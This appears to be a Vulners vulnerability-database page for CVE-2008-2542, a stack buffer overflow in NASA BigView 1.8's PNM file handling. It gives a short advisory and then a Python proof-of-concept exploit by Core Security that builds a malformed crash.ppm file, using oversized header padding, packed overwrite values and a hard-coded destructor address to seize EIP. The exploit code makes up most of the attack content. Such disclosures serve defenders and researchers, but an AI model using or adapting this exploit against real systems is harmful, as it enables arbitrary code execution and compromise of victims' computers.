NASA Ames Research Center BigView 1.8 - '.PNM' Stack Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2008-2542 | 4 Jun 200800:00 | – | circl | |
| NASA BigView Stack Buffer Overflow | 4 Jun 200800:00 | – | coresecurity | |
| CVE-2008-2542 | 5 Jun 200820:21 | – | cve | |
| CVE-2008-2542 | 5 Jun 200820:21 | – | cvelist | |
| CVE-2008-2542 | 5 Jun 200820:32 | – | nvd | |
| Core Security Technologies Advisory 2008.0425 | 5 Jun 200800:00 | – | packetstorm | |
| Stack overflow | 5 Jun 200820:32 | – | prion | |
| CORE-2008-0425 - NASA BigView Stack Buffer Overflow | 7 Jun 200800:00 | – | securityvulns | |
| NASA BigView buffer overflow | 7 Jun 200800:00 | – | securityvulns | |
| NASA BigView PNM文件处理栈溢出漏洞 | 6 Jun 200800:00 | – | seebug |
source: https://www.securityfocus.com/bid/29517/info
NASA Ames Research Center BigView is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
An attacker can exploit this issue to execute arbitrary code in the context of the application. Successful attacks will compromise the application and underlying computer. Failed exploit attempts will result in a denial of service.
BigView 1.8 is vulnerable; other versions may also be affected.
/-----------
## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
Desktop i386
import struct
w = open("crash.ppm","wb")
w.write("""P3
#CREATOR: The GIMP's PNM Filter Version
1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
# This exploit is not trivial, because the function PPM::ppmHeader()
doesn't return inmmediately, and we must modify internal variables to
cause an overwrite of a C++ string destructor executed at the end of the
function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):
w.write(chr(i)*4)
w.write("AA")
w.write(struct.pack("<L",0xaaaaaaaa))
w.write(struct.pack("<L",0xbbbbbbbb))
w.write(struct.pack("<L",0xcccccccc))
w.write(struct.pack("<L",0x08080000))
w.write(struct.pack("<L",0x08080000)*48)
#The address of the destructor is hard-coded. Sorry but this is only a
PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination
w.write("""
%d 300
255
255
255
255
""" % value)
w.close()
- -----------/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Feb 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.04761